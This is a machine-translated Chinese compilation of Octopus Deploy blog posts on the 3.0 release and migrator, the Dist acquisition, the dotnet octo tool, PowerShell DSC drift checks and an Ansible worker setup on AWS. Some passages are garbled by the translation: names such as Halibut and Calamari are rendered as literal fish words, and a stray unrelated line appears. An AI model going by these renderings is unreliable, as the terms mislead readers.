如果您使用敏感变量，这些变量将使用密码在 JSON 中加密(注意，敏感变量通常存储在使用您的主密钥加密的 SQL 中；导出器将解密它们，然后用这个新密码加密它们)。假设您在两次导出之间使用相同的密码，您将获得相同的输出，因此它们不会在您的 diff 工具中显示为已更改。
进口
导入工具可以获取导出的目录和用于导出它的密码，或者 Octopus 2.6 备份文件(.octobak)和 Octopus 主密钥。然后它将导入数据。
您将有机会先预览这些更改，并且您可以告诉该工具:
- 如果目标中已经存在文档，则覆盖它们(例如，如果已经存在同名项目，则覆盖它)
- 如果目标中已经存在文档，则跳过这些文档(例如，如果已经存在同名项目，则不执行任何操作)
导入器将所有数据更改包装在一个 SQL 事务中；如果在导入过程中发现任何问题，事务将被回滚，不会导入任何内容。
历史重要吗？
正如我提到的，我们目前在即将到来的 3.0 公开测试版中遗漏的一个特性是导出和导入部署历史(甚至从 2.6 开始)——也就是说，发布、部署、任务、工件和审计事件将不会被导出或导入。这些要复杂得多，所以我们计划按原样发布这个工具，以后再添加历史。
我们肯定会在 3.0 发布之前扩展导入器，从 2.6 备份中导入历史。我们不确定的是，在 3.0 中导入和导出历史是否重要——我们发现绝大多数人只关心项目配置数据，而不关心历史。我们希望听到一些 3.0 历史导入可能有用的场景。
PS:喜欢新的管理工具外观吗？
Octopus 3.0 预发布已经发布- Octopus 部署
因此，我们一直在等待的大消息，章鱼 3.0 预发布现在向公众发布！
我们知道我们花了比预期更长的时间，这是一个巨大的变化。这篇文章会给你一个主要的概述。
对于 TL；博士，仔细读下一点。
这是一个预发布版本，这意味着它不是 Octopus Deploy 的官方支持版本(还有几周时间)。这意味着下载它，安装它，使用它，并通过给我们反馈和让我们知道您可能发现的任何错误来帮助我们改进它。但它可能并不完美，也不是最终版本。
这也意味着我们以不同的方式对待反馈和错误报告。
这很重要。
对于 Octopus Deploy 3.0 预发布支持，反馈和错误报告请使用我们新的社区论坛。我们在那里张贴了很多，所以这是获得所有最新信息的地方。我们有一些如何张贴在那里，最终将成为博客帖子或文档的一部分。您还可以订阅预发布论坛，以便在有新活动时收到电子邮件。我们将在下载页面发布大部分版本，但我们可能会将一些临时版本直接发布到论坛。
两个人的。*支持，使用我们的常规支持渠道(support@octopusdeploy.com和我们的支持论坛)。
好了，关于细节，您可以阅读或观看我们的网络研讨会视频，更直观地了解新内容。
https://www.youtube.com/embed/eUT2Vtw3L54
VIDEO
体系结构
在 3.0 中，我们花了很多时间，因为我们希望在性能和可支持性方面对架构进行一些更改。
SQL Server
这是你们期待已久的大日子。从 3.0 开始，我们已经从 RavenDB 迁移到 SQL Server 作为数据存储。我们有几篇博文解释了这一变化的原因和方式，你可以阅读。这样做的结果是一个更快的产品，一个可伸缩性更好的产品，一个我们更容易支持的产品。这是以我们的安装体验为代价的，我们选择不捆绑嵌入式 SQL Server 实例，但我们也知道 SQL Server 安装对我们的客户来说是非常熟悉的事情。我们支持 SQL Server 2008 及更高版本和 Express edition，以及企业版和 Azure SQL 实例。
大比目鱼，我们的新通信栈
在章鱼 2 里。*我们使用了一个名为 Pipefish 的库，这是一个类似于 Akka.NET 的 Actor 框架，用于我们的通信。在 3.0 中，我们用我们称之为大比目鱼的东西取代了它，这简化了我们的代码库，也给了我们更容易跟踪和调试的东西，这意味着更容易支持。如果你想去看看它是如何工作的，它也是开源的。
表演
除了我们看到的这两个变化在开发成本和可支持性方面的收益之外，它们还使 Octopus 速度更快，可伸缩性更强。我们将在未来几周与您分享更多的指标，因为我们会进一步推动它。
鱿鱼
在 3.0 中，我们还改变了触手架构。触须用来包含所有的代码来完成包的部署，运行我们的约定(例如，改变配置文件等)以及完成像 IIS 配置这样的任务。这使得它与 Octopus 版本紧密耦合。我们现在把它分成两部分。触手是一个代理，除了安全地传输文件和运行命令之外，它什么也不做，所有的逻辑都在 Calamari 中。较新的卡拉马里软件包作为健康检查过程的一部分被推送到触手，所以这意味着触手升级较少。Calamari 也是开源。这对您来说意味着您可以针对您的环境派生和调整它，并拥有一些您自己的部署代码。
新功能
我们最终将 Delta 压缩库添加到 Octopus 中用于包传输。根据 Nuget 包的内容，您应该会看到需要在版本之间传输到触手的数据量显著减少。对于许多客户来说，这将大大节省时间和网络利用率。
部署目标
我们在过去已经谈过一些关于部署目标的内容，但是我们已经把“机器”的概念变得更加通用了。
离线部署
离线部署是一个新的部署目标。很多人一直在寻求的。如果您是我们的客户之一，并且目前拥有用于部署到完全隔离的环境的自定义安装脚本，那么您现在可以添加一个离线部署目标。当您部署到这里时，我们将打包 Nuget 包、一个 Calamari 副本、一个包含发布变量的 JSON 文件和一个可以在目标机器上运行的引导脚本。这里有一个“入门”的帖子，如果你想用的话可以看看。
这是把乌贼和触手分开的原因之一。现在，我们可以将所有的部署工具打包成这个包的一部分，您可以随身携带！
Azure 网站
以前，我们的库中有一个 WebDeploy 脚本，它使用 Web Deploy 将包的内容推送到 Azure 网站。这现在作为部署目标内置。
云服务
我们还改进了对云服务的支持。作为其中的一部分，您现在可以对您的包执行任何约定(变量、配置转换等),因为我们将解包您的。cspkg，运行约定，然后在推送到 Azure 之前重新打包。
关于我们 Azure 支持的详细信息，可以看看这个帖子。
SSH 部署
我们已经关注 SSH 和 Linux 支持很久了，现在它就在这里！为此，我们让卡拉马里与单声道兼容，所以你需要在你的目标机器上安装。我们这样做是为了维护这些工具的单一代码库，并且 Linux 支持不会成为二等公民。此外，现在触手只是一个代理，这意味着我们两个平台的架构非常相似。要阅读更多关于我们的 SSH 支持的内容，请阅读这篇文章，为了浏览一下如何设置自己的，我们还有另一个。
移居者
迁移器特性是 Octopus 服务器管理器的一部分，也可以从命令行获得。该工具将:
- 将 2.6 版本的备份导入 3.0 版本
- 将 3.0 项目配置导出到 JSON 文件目录中
- 将 3.0 JSON 文件导入 Octopus Deploy
这将帮助您将现有的 Octopus 配置升级到 3.0。它将帮助您将 3.0 POC 或试运行过渡到生产环境。通过一些脚本，您还可以构建一些东西，从 staging Octopus 实例中导出项目，并将它们推送到生产实例中。
通过一些脚本，您还可以...(要说出令人吃惊或高兴的事情)听着...将您的整个 Octopus 部署配置提交到 Git(或者您选择的 VCS)中！！！！！！
一些你看不到的东西
你可能会注意到 Octopus 3.0 目前看起来和 2.6 很像。当我们发布最终版本时，这种情况将会改变。我们将在接下来的几周内对它的外观和感觉进行一些改动，但我们希望能推出一些功能供您测试。
您可能还会注意到，FTP 没有作为部署目标。FTP 是我们很难支持的另一个项目。我们使用的组件在某些环境下有效，而在其他环境下无效。由于使用 FTP 步骤的人非常少(我们认为他们中的很多人都是为 Azure 网站服务的)，我们决定不将该功能移植到 3.0。您仍然可以用 PowerShell 步骤实现相同的目标，我们可以考虑在库中提供一个。
如果这是你的一个问题，请让我们知道，我们会帮助你。
你可能会遇到的另一件事是，因为我们已经完全改进了我们的云服务支持，旧的 Azure Web 角色支持不是 migrator 将带来的东西。如果你在 2.6 中使用这个特性，你需要做一些手工移植。
所以让我们开始吧
正如我在文章开头所说，社区论坛是获取更多信息、反馈、错误报告和讨论的地方。任何章鱼 2。*应通过正常渠道提供支持。
一旦我们退出预发布，这种情况将会改变，我们希望社区论坛作为一个讨论更多一般事情的地方继续存在。因此，去抓住位，并开始！
关于许可的快速说明
有几个人问过这个问题。如果您与我们签订了有效的维护协议(即，您在过去 12 个月内购买了 Octopus 或更新了维护协议),则 3.0 是免费升级。如果您的维护已过期，您需要续订才能升级。
愉快的部署！
章鱼 3.0:发布了！-章鱼部署
今天，我很自豪地宣布，章鱼 3.0 已经升级到生产就绪版本！你可以现在就下载，或者在我们的演示网站上探索一个活章鱼服务器。一定要查看一下升级指南——我们做了一些大的改动，但是我们尽量让升级体验相对不那么痛苦。
Octopus 3.0 的开发工作始于 8 个月前，它包含了一些巨大的变化。Octopus 最重要部分的大部分都被重写了，几乎没有一段代码没有改变:
到了产品生命周期的这个时候，大多数公司会很乐意坚持当前的架构，只是偶尔添加一个大的特性，并将其称为新版本。我个人认为，这导致产品变得陈旧，使用起来没有乐趣。对于我们这样规模的公司来说，没有其他产品可以依赖，我认为投入如此多的时间来重写产品的基本部分，并花 8 个月的时间来完成它是一个非常大胆的决定。我希望有了 3.0 你会同意这是值得的。
当然，3.0 不仅仅是大的架构变化；我们还增加了一系列新功能:
- SSH、Windows Azure web 应用程序和离线放置的新部署目标
- 一个数据迁移器，允许您在 Octopus 服务器之间导出和导入 JSON 格式的数据，或者将它们提交给 Git repo
- 增量压缩以减少带宽和部署时间
- 一个完整的外观和感觉改造
- 一个新的项目概述(如上图),使推广版本更容易
- 努力实现高可用性，我们将在几周后分享更多内容
总的来说，4，170 个文件中的 1，790 个 Git 提交用于制作这个版本。这也是我们有史以来测试最多的版本——我们已经对它进行了多次 bug bashed，我们已经有了一个漫长的测试过程，在野外安装了 100 多个 Octopus 3.0。谢恩一直在密切关注性能，我们已经用数百个触角测试了它。
8 个月的发布间隔时间太长了。我期待着回到一个更有规律的节奏，每一两个月发布一次新版本的 Octopus，逐渐使软件变得更好。
谢谢
对我来说，软件构建的创造性努力及其无限的可能性是自我实现的完美载体。章鱼刚开始的时候，是我和我一个人的倒影；我的想法，和我的缺点。另一方面，Octopus 3.0 是由一个现在有 13 人的团队开发的，我认为它反映了我们所有人的最佳状态。对我的团队来说，能和你们一起将 Octopus 3.0 带入这个世界是一种真正的荣誉。还要特别感谢参加 3.0 预发布网络研讨会并对我们新的社区论坛提供反馈的所有人。
Octopus Deploy 收购 Dist - Octopus Deploy
今天，我很兴奋地宣布 Octopus Deploy 已经收购了 Dist，一个基于云的容器注册和工件存储服务。
为什么 Dist 非常适合
创建 Dist 的目标是为容器和 Java 工件提供高度可靠、快速且易于使用的工件存储库。
我们在去年 10 月认识了 Dist 团队，发现我们有很多共同点。Dist 完全是由悉尼的两位创始人黄云·杨和斯蒂芬·海因斯创建的，他们有很强的技术背景，对这个领域充满热情，我们对他们的成就印象深刻。
在部署应用程序之前，需要将其打包，例如打包成 Zip 文件或 Docker 容器映像，这通常被称为“工件”。每次源代码变更都会产生工件的新版本，由于您可能需要重新部署旧版本，您需要保留不同工件的许多版本，并有效地存储它们，通常存储在称为“工件存储库”的软件中。
从早期开始，Octopus Deploy 就包含了一个内置的工件库。这可以用于推送 NuGet 包、Zip 文件、Java JAR 文件和其他用于部署的工件。客户总是觉得这很方便——少了一项需要管理的服务，而且重要的是，它与我们的保留政策相集成。今天，虽然我们支持许多类型的工件，但我们目前不支持容器映像，因此客户需要使用第三方解决方案，如 Azure Container Registry 或 AWS Elastic Container Registry，这使得保留策略更加难以管理。
Dist 将如何帮助我们的客户
Octopus 的使命是加速跨云和内部的可重复、可靠和可跟踪的部署。当我们构建 Octopus Cloud 的功能时，我们希望为客户提供一种方便的方式来使用他们的容器图像，以及潜在的其他工件。Octopus 中集成的低延迟、安全访问和保留策略可帮助您做到这一点，而无需管理额外的服务。Dist 技术和 Dist 团队的专业知识将是我们下一步工作的核心。
章鱼是如何成熟的
在过去的几年里，章鱼享受着快速的成长，你可以读到章鱼在 2021 年是如何成长的。在过去，如果我们发现 Octopus Deploy 中缺少的功能，我们的第一反应会是组建一个工程师团队来开发该功能，但随着我们的成长和成熟，我们意识到，从零开始的内部开发并不总是服务客户的最佳方式。
通过与 Dist 团队合作，我们将使软件团队能够更轻松地交付更多功能，减少停机时间，并减少管理工作量。我很高兴地欢迎 Dist 团队加入 Octopus Deploy，迫不及待地想看看我们共同构建的东西！
关于 Dist 的炉边聊天
产品总监 Michael Richardson 领导了 Dist 收购过程。他记录了与高级解决方案架构师 Derek Campbell 的一次聊天，内容是关于 Dist technology 将如何使用 Octopus 改进部署。
https://www.youtube.com/embed/0CAFUTWW6-k
VIDEO
愉快的部署！
包装为。NETCore，打开。部署了 Octopus - Octopus 网络核心
自从这篇文章首次发表以来，我们已经重新命名了 Octo.exe，现在它是 Octopus CLI，更多信息，请参见这篇文章: Octopus release 2020.1 。
在过去的几个月里，我们收到了许多关于构建和打包的问题和请求。NET 核心应用程序。我们对此已经有一段时间的支持，但有趣的是支持建筑的请求数量。NET 核心应用程序。网芯。这到底是什么意思？意思是支持建筑。NET 核心应用程序。NET 核心，而不是完整的。NET 框架。想想 Linux 或 Mac OS 机器。
如果这是你正在工作或打算进入的领域，我们有一些令人兴奋的消息。除了 2018.7 中包含的所有其他令人兴奋的东西，我们已经更新了octo.exe，所以你现在可以通过. NET 命令行扩展来访问它。
dotnet octo 简介
一段时间以来，octo.exe一直是跨平台的，支持在两个平台上运行。NET 框架和。网芯。然而，在. NET Core only 平台上进行构建时，执行octo.exe会很尴尬。
进入dotnet octo全局工具。它做 octo.exe 所做的一切，但它可以被称为使用dotnet octo <command>。这提供了一种便捷的方式将octo.exe安装到任何安装了最新 dotnet SDK 版本的机器上。
要施展魔法，使用以下命令将octo.exe召唤到你的构建机器上:
dotnet tool install Octopus.DotNet.Cli --tool-path /path/to/install
然后将octo.exe从沉睡中唤醒，召唤经典咒语，如dotnet octo pack和dotnet octo create-release。
正如对tool-path参数的说明，您可以用- global 标志替换它，它将全局安装该工具。根据您的构建机器配置，全局安装可能不是一个好主意，但是本地安装到运行构建的文件夹提供了更好的隔离。不幸的是，这种隔离带来了一个小问题，dotnet 命令行不提供相同的参数来帮助找到您放入自定义刀具路径的刀具。为了解决这个问题，您必须确保将路径添加到环境路径变量中。
还要注意，上面的命令将最新版本传到您的构建机器上。如果您想要更精细的控制，有一个版本开关。
那么，将所有这些魔法结合在一起的构建脚本会是什么样子呢？下面是一个简化的例子:
dotnet publish MyAwesomeWebApp -o myMarshallingFolder
octo pack --id=MyAwesomeWebApp --version=1.0.0.0 --outFolder=myArtifactsFolder --basePath=myMarshallingFolder
octo push --package=myArtifactsFolder\MyAwesomeWebApp.1.0.0.0.nupkg --server=https://my.octopus.url --apiKey API-XXXXXXXXXXXXXXXX
就像我说的，这是简化的。当您从您最喜欢的构建工具中设置它时，您可能希望将它分成三个独立的步骤。
运行时和 SDK 要求
为了使用这里描述的 Octo，您必须使用。NET Core SDK 2.1.300或更新版本。
构建服务器
我们的 TeamCity 扩展已经可以处理octo.exe和dotnet octo之间的切换，所以你不需要为push、create-release等改变你现有的步骤。你必须为dotnet tool命令制定一个策略。您可以在构建过程开始时将其作为脚本运行，或者在构建代理上预先运行。TeamCity 扩展很快也会推出一个单独的pack步骤，针对那些想要打包然后使用除 Octopus 内置饲料之外的饲料(例如 TeamCity 的饲料或 Artifactory)的人。
VSTS 扩展的 v3.0 更新包括支持使用dotnet octo的更新。这些变化包括不再使用 PowerShell，这使得它与运行 Linux 等操作系统的构建代理兼容。
但是 OctoPack 呢？
在这篇文章中还有一件事要讲。房间里的大象，如果你愿意的话。OctoPack 怎么样？
简而言之，OctoPack 依赖于 NuGet 和 MSBuild 的一些机制，这些机制在。NETCore world 并试图将其移植到这个新世界中似乎不会比使用octo.exe提供价值。
这里的一个关键部分是我们现在支持的应用程序格式。当 OctoPack 出现时，它有两种主要的应用程序类型需要担心。Web 应用和 Windows 应用。这两者都可以通过简单地抓取二进制输出和任何标记为内容的文件来打包(这就是 OctoPack 在构建 nuspec 文件时在内部所做的)。
快进到今天，我们有像云服务和服务结构这样的应用格式。在 OctoPack 中支持这些不断增长的格式是不现实的，所以我们建议使用 VS/MSBuild 中内置的package目标。在我们的文档中有一个如何做到这一点的例子。
对此需要注意的一点是，octo.exe使用Octopus.Client作为它的push命令，所以它仅限于推送到 Octopus 内置提要。如果您需要推送另一个套餐服务，您将需要使用NuGet.exe而不是octo.exe。我们正在寻找解决这个问题的方法。
结论
的。网络核心世界仍然是一个快速发展的地方，所以这是我确信将是一个更长的旅程中的一步。如果你在建造。NET 核心应用程序，请给dotnet octo一个旋转，并在下面给我们反馈，以帮助指导这个旅程。
了解更多信息
部署 Octopus 和 PowerShell DSC - Octopus 的配置管理
PowerShell 期望状态配置(DSC) 是 PowerShell 团队采用声明式方法来配置服务器，是标准 PowerShell 脚本命令式方法的替代方案。PowerShell DSC 可用于许多在配置新服务器时需要运行的常见配置任务。一些有用的例子:
- 安装 Windows 功能，如用于 web 服务器的 IIS
- 设置环境变量
- 设置文件和文件夹权限
虽然 Octopus 专注于不断交付应用程序的新版本(您自己构建的应用程序)，但这些任务是一次性的，通常由不同的工具集来完成。在过去的 6 个月里，我们一直致力于开发一些功能，这些功能实际上结合在一起，当与 PowerShell DSC 结合时，使 Octopus 成为一个真正有效的配置管理工具。
在这篇文章中，我想演示如何使用 Octopus 来管理、测试和推广 PowerShell DSC 脚本，以及 Octopus 和 PowerShell DSC 如何结合使用。
概观
在这篇文章中，我将向你展示如何:
- 使用 Octopus 运行 PowerShell DSC 脚本，在我们的 web 服务器上安装 IIS
- 使用 Octopus 中的健康检查来检测 DSC 脚本的“漂移”(IIS 功能被禁用)
- 检测到漂移时设置电子邮件提醒
- 使用 Octopus 中的自动部署来纠正偏差(修复 IIS)
- 测试我们的 DSC 脚本的新版本，并在不同环境之间推广它们
Octopus 作为 PowerShell DSC 推/拉服务器的替代产品
微软支持在服务器之间部署 PowerShell DSC 脚本的两种方式——“推”和“拉”服务器。这是一个中央服务器，存储每个节点的配置。
对于我们的大多数客户来说，他们已经在机器之间设置了我们的章鱼和触手代理，你猜怎么着:章鱼和触手可以配置为监听(推)和轮询(拉)模式！并且它有一些好处:章鱼/触手通信是安全的，不期望机器在同一个域，支持代理服务器，以及许多其他特性。
因此，如果您使用 Octopus 和 Tentacle，您应该能够使用 Octopus 部署您的 PowerShell DSC 脚本，而不需要 DSC 拉/推服务器。少了一件要管的事！
演示环境
我在 Hyper-V 中设置了三台虚拟机来构建这个演示:一台 Octopus 服务器，两台服务器将作为我们的 web 服务器。一台是“测试”服务器，另一台是“生产”服务器:
我在 Octopus 服务器上设置了 SQL Server 和 Octopus，并在两个 web 服务器上设置了 Tentacle(在轮询模式下)。我没有添加任何其他 Windows 功能或做任何其他事情来配置它们。
第一个 DSC 脚本
在我们进入 IIS 之前，让我们首先制作一个非常简单的设置环境变量的 DSC 脚本。我们将在 Octopus 中创建一个名为“配置”的新项目，该项目将包含一个 PowerShell 脚本步骤，其中包含我们的 DSC 脚本:
剧本是这样的:
Configuration WebServerConfiguration
{
Node "localhost"
{
Environment HelloMessageVariable
{
Ensure = "Present"
Name = "HelloMessage"
Value = "Hello, world!"
}
}
}
WebServerConfiguration -OutputPath "C:\DscConfiguration"
Start-DscConfiguration -Wait -Verbose -Path "C:\DscConfiguration"
该脚本做了三件事:
- 它定义了配置。注意，我们使用
localhost，因为这个脚本将直接在每个 web 服务器上运行。 - 它调用配置(生成
.mof文件)，将输出发送到一个文件夹 - 它会应用该文件夹中的配置
在 Octopus 中，我们可以创建这个项目的发布，并部署它。DSC 脚本将在远程机器上运行，发现环境变量不存在，并创建它:
我们可以看到该变量已在机器上创建:
如果我们修改了 Windows 中的环境变量(比如某个调皮的开发人员在调试某个东西的时候手动更改了变量，忘记告诉任何人)，下一次 DSC 脚本运行的时候就会被覆盖:
现在，这很有趣，但是 DSC 现在没有做太多标准 PowerShell 不能做的事情(尽管它更具声明性，这很好)。我们仍然需要重新部署 DSC 脚本来强制覆盖它。
检测漂移
DSC 声明式模型的强大之处在于能够检测到漂移——当机器上配置的实际情况与它应该配置的不匹配时。
PowerShell 提供了一个Test-DscConfiguration功能，可以用来检查机器是否漂移。我们可以在 Octopus 中设置一个自定义健康检查策略,以便在每次检查机器健康时运行:
以下是脚本:
$result = Test-DscConfiguration -Verbose -ErrorAction SilentlyContinue
if ($result -eq $false) {
Write-Host "Machine has drifted"
Fail-HealthCheck "Machine has drifted"
} elseif ($result -eq $true) {
Write-Host "Machine has not drifted"
} else {
Write-Host "No configuration has been applied to the machine yet"
}
如果机器漂移(在这种情况下，有人编辑变量)，机器现在将在环境页面中显示为不健康:
您可以将此功能与我们的订阅功能相结合，以便在机器变得不健康时收到电子邮件通知。订阅可能是这样的:
这将导致:
自动校正漂移
当机器偏离理想的配置时，它将在 Octopus 中变得“不健康”。这很方便，因为我们可以在 Octopus 中设置一个自动部署触发器来在机器上自动部署当前的 DSC 脚本。这将重新应用配置，并纠正偏差。
测试和促进 DSC 变化
Octopus 习惯于处理在环境之间提升应用程序版本，这种方法对于 DSC 脚本非常有效。如果您有一个新版本的 DSC 脚本，那么在将它推广到生产环境之前，最好将其应用到测试环境中的服务器上。在这里，我们可以看到我已经将 DSC 脚本的“1.0.1”版本投入生产，目前我正在测试该脚本的一些新版本:
（同 ImmigrationInspectors 移民检查）
在介绍中，我用安装 IIS 作为可以用 DSC 完成的事情的例子，尽管为了使例子简单，我们把重点放在设置环境变量上。下面是一个安装 IIS 的 DSC 脚本示例:
Configuration WebServerConfiguration
{
Node "localhost"
{
WindowsFeature InstallWebServer
{
Name = "Web-Server"
Ensure = "Present"
}
WindowsFeature InstallAspNet45
{
Name = "Web-Asp-Net45"
Ensure = "Present"
}
}
}
WebServerConfiguration -OutputPath "C:\DscConfiguration"
Start-DscConfiguration -Wait -Verbose -Path "C:\DscConfiguration"
PS:这里有一个获取这些特性名称的好方法——在 Windows Server 2012 R2 实例上的 PowerShell 会话中，如果您调用Get-WindowsFeature，您将看到一个漂亮的树，上面有每个特性的名称:
摘要
虽然 Octopus 专注于传统上所谓的“应用程序发布自动化”，但我们也有越来越多的客户将其用于配置管理。PowerShell DSC 和 Octopus 使您很容易涉足配置管理领域，灵活性意味着您可以构建包含 PowerShell DSC、传统脚本、Chocolatey 命令和应用程序部署的混合项目。
我们在过去 6 个月中添加的新功能-自动部署触发器和自定义运行状况检查策略-确实有助于在使用 Octopus 部署、管理和测试 PowerShell DSC 脚本时实现闭环。2017 年，我们有更多关于 PowerShell DSC 的计划，我们的目标是在明年年初发布一篇 RFC 博客文章，介绍我们的想法。
如果你想了解更多关于 PowerShell DSC 的知识，我非常喜欢这篇文章: PowerShell DSC:基础知识。
你用的 PowerShell DSC 有/没有八达通？
使用 Octopus - Octopus Deploy 管理可行的部署
您可能熟悉 Octopus 提供的管理和部署代码的特性。如今，像 AWS 这样的云服务和 Ansible 这样的工具也能把你的基础设施变成代码，那么为什么不用 Octopus 部署你的 Ansible、Chef 或 Puppet 脚本呢？
在这篇博文中，我将向你展示使用 Ansible 和 Octopus Deploy 在 AWS 中创建一个简单的 Windows 实例的过程。
为什么要用带 Ansible 的 Octopus？
在我们进入在 Octopus 中运行 Ansible 脚本的细节之前，一个自然的问题是为什么要这样做？使用 Octopus 进行基础设施部署有几个好处。
- 现在，您可以像现在处理应用程序代码一样，通过环境(如开发->测试->生产)来发展基础设施。
- 您的基础架构部署经过审核，因此您可以确切了解谁在何时部署了什么。
- 将可转换的代码包装在版本化的包中，可以很容易地恢复到基础设施的前一个版本。
- 这些可回答的日志由 Octopus 保存，便于日后查阅。
- 您的基础架构部署可以利用 Octopus 的安全特性，从而可以轻松定义谁可以在哪里部署什么基础架构。
获取源代码
这篇博文中使用的 Ansible 代码可以在 GitHub 中找到。
准备 AWS 资源
虽然 Ansible 支持配置 Windows 目标，但它不是为从 Windows 主机运行而设计的。文档说:
直接从 Windows 控制机器上运行 Ansible 并不是这个项目的目标。
这意味着我们需要创建一个代表 Octopus 运行 Ansible 脚本的 Linux 实例。
当然我们可以用 Ansible 来创建这个 Linux 主机！
但是在我们开始创建实例之前，我们首先需要一个名为AnsibleWorker的 IAM 角色，我们可以将它分配给代表我们运行 Ansible 的 EC2 实例。
这个角色需要能够创建、查询和销毁 EC2 实例。在这种情况下，我们只在us-east-1区域工作，所以我们只在该区域授予角色权限。此 IAM 策略将授予这些权限。
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "ec2:*",
"Effect": "Allow",
"Resource": "*",
"Condition": {
"StringEquals": {
"ec2:Region": "us-east-1"
}
}
}
]
}
这些 IAM 策略总是让我困惑的是什么时候使用"Resource": "*"以及什么时候使用 ARN。
Amazon EC2 API 动作支持的资源级权限包含一个支持资源级权限的动作列表。如果 Amazon EC2 API 操作不支持资源级权限，您可以授予用户使用该操作的权限，但是您必须为策略语句的 resource 元素指定一个*。
我们还需要使用 AWS 安全令牌服务来承担这个角色。我们将利用 Ansible 中的 STS 来生成 Ansible AWS 步骤运行所需的令牌(即访问令牌、秘密令牌和会话令牌)。
将下面策略中的accountid替换为您的 AWS 帐户 ID。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"sts:AssumeRole"
],
"Resource": [
"arn:aws:iam::accountid:instance-profile/AnsibleWorker"
]
}
]
}
最后，为了生成 STS 令牌，角色需要信任自己。您可以通过 AWS web 控制台配置这种信任，方法是单击 IAM 角色中的Trust relationships选项卡，并允许角色信任本身运行sts:AssumeRole操作。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
},
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:sts::accountid:assumed-role/AnsibleWorker/i-abcdef01234567890"
},
"Action": "sts:AssumeRole"
}
]
}
配置 AWS 凭据
首先，我们有一个先有鸡还是先有蛋的情况，我们希望运行一些 Ansible 来创建将用于运行一些 Ansible 的实例。
为了解决这个问题，我们将运行在本地创建 Ansible worker 的 Ansible 脚本。所以您需要一个 Linux 实例来运行这个初始的 Ansible 剧本。参见 Ansible 安装文档来启动并运行您的本地环境。
尽管 Windows Linux 子系统(即 Windows 上的 Bash)没有得到微软或 Ansible 的官方支持，但我已经在 Ansible 上广泛使用了它，没有出现任何问题。
您还需要安装 AWS CLI 工具。
确保您已使用有权使用以下命令创建 EC2 实例的帐户配置了 AWS 凭据:
aws configure
创建工人
下面显示的 Ansible YML 文件定义了一个角色运行的任务，该角色将在 AWS 中创建一个 Centos 7 EC2 实例，并为其配置运行 Ansible 脚本所需的一切。
在本例中，我将 EC2 实例放入默认的 VPC 中。如果你有一个自定义的 VPC，你需要设置vpc_subnet_id选项，也许还需要添加assign_public_ip选项。
某些 EC2 实例类型仅在 VPC 内部可用。关于需要 VPC 的列表，参见本文件。
---
- name: Create Linux Server
ec2:
key_name: ThePrivateKeyName
instance_type: m3.medium
image: ami-ae7bfdb8
wait: yes
instance_profile_name: AnsibleWorker
group: TheSecurityGroupName
count: 1
region: us-east-1
wait_timeout: 3000
volumes:
- device_name: /dev/sda1
volume_size: 80
volume_type: gp2
delete_on_termination: true
instance_tags:
Name: Ansible Worker
register: linux_server_ec2
- name: Add Host to Inventory
add_host:
name: "{{ item.public_ip }}"
groups:
- centos_server
with_items: "{{linux_server_ec2.instances}}"
- name: Wait for SSH to answer on all hosts
wait_for:
port: 22
host: "{{ item.public_ip }}"
timeout: 600
with_items: "{{linux_server_ec2.instances}}"
- name: Pause for a bit
pause:
seconds: 30
一旦 Centos 实例启动并运行，我们就需要安装 Octopus 和 Ansible 所需的包。
您会注意到这个角色添加了一个名为ansible_rsa.pub的 SSH 密钥。您可以使用以下命令生成此文件:
ssh-keygen -f ansible_rsa -t rsa -N ''
保存好ansible_rsa和ansible_rsa.pub文件，因为我们以后会用到它们。
示例 GIT repo 包含了ansible_rsa.pub文件，但是您实际上不能使用这个公钥，因为它不包含ansible_rsa私钥文件。您需要生成自己的密钥对，并替换公钥来登录 Linux 实例。
---
- name: Add EPEL repository
yum:
name: https://s3.amazonaws.com/bamboo-support/epel-release-7-9.noarch.rpm
state: present
- name: Install useful packages
yum:
name: wget,elinks,telnet,htop,mlocate,python-pip,vim,nano,jq,java-1.8.0-openjdk-devel,unzip,maven,libunwind,libicu,git,patch,zip
- name: Install mono key
get_url:
url: http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
dest: /tmp/GPG-KEY-mono
mode: 0440
- name: import mono key
rpm_key:
state: present
key: /tmp/GPG-KEY-mono
- name: Add mono repo
yum_repository:
name: mono
description: Mono repository
baseurl: http://download.mono-project.com/repo/centos7/
gpgkey: http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
gpgcheck: yes
enabled: yes
- name: Install mono
yum:
name: mono-devel
- name: Set JAVA_HOME
lineinfile: dest=/etc/environment state=present regexp='^JAVA_HOME' line='JAVA_HOME=/usr/lib/jvm/jre-1.8.0'
- name: Install the 'Development tools' package group
yum:
name: "@Development tools"
state: present
- name: Install python pip and other development libraries
yum:
name: python-pip, python-devel, python-lxml, openssl-devel
- name: Install Ansible and the AWS boto library
pip:
name: ansible, boto, boto3, pywinrm, requests-credssp
state: latest
- name: Creates directory for ansible scripts
file:
path: "/var/octopus/scripts"
state: directory
owner: centos
group: centos
mode: 0775
- name: Set authorized key
authorized_key:
user: centos
state: present
key: "{{ lookup('file', 'roles/linux-ansible-target/files/ansible_rsa.pub') }}"
为了与新的 Linux 实例进行真正的通信，Ansible 需要知道使用什么 SSH 私有密钥文件。这在group_vars\centos_server.yml文件中定义。您需要将ansible_ssh_private_key_file设置指向与roles\centos-7-server-instance\tasks\main.yml文件中定义的key_name相匹配的 PEM 文件的位置。
---
ansible_ssh_private_key_file: /tmp/aws.pem
然后，我们需要从剧本中运行这两个角色。
---
- name: Linux Server
hosts:
- 127.0.0.1
become: false
gather_facts: false
roles:
- centos-7-server-instance
- name: Ansible setup
hosts: centos_server
remote_user: centos
become: true
become_user: root
roles:
- linux-ansible-worker
使用以下命令运行行动手册:
ansible-playbook ansible-worker.yml
这个 Ansible 脚本的最终结果将是一个运行 Centos 的 EC2 实例，它安装了 Mono 和 Ansible，可以作为 Octopus 中的一个 worker 使用。
创建 Windows EC2 实例
出于演示目的，我们将使用 Octopus 和 Ansible 构建一个 Windows 2016 server EC2 实例。
这里的过程与创建 Centos EC2 实例非常相似，但是用户数据有一些有趣的步骤，使得使用 Windows 实例更加容易。
---
